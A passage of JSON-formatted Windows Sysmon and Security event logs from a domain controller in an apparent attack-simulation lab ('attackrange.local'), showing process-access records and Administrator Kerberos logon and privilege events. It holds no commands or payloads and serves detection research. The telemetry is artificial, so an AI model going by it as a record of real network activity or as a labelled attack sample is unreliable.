C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5652,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5653,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.806\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4171-5F2D-0000-0010F6800800}\r\nTargetProcessId: 4584\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.806","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4171-5F2D-0000-0010F6800800}","TargetProcessId":"4584","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.822\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:33.822","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":222202,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":222203,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222204,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222205,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x882A9\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x882a9","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{F0C2CEEB-070C-EDC7-44E3-7776B7664A01}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222206,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x882A9\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x882a9","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:33","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:33.838\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 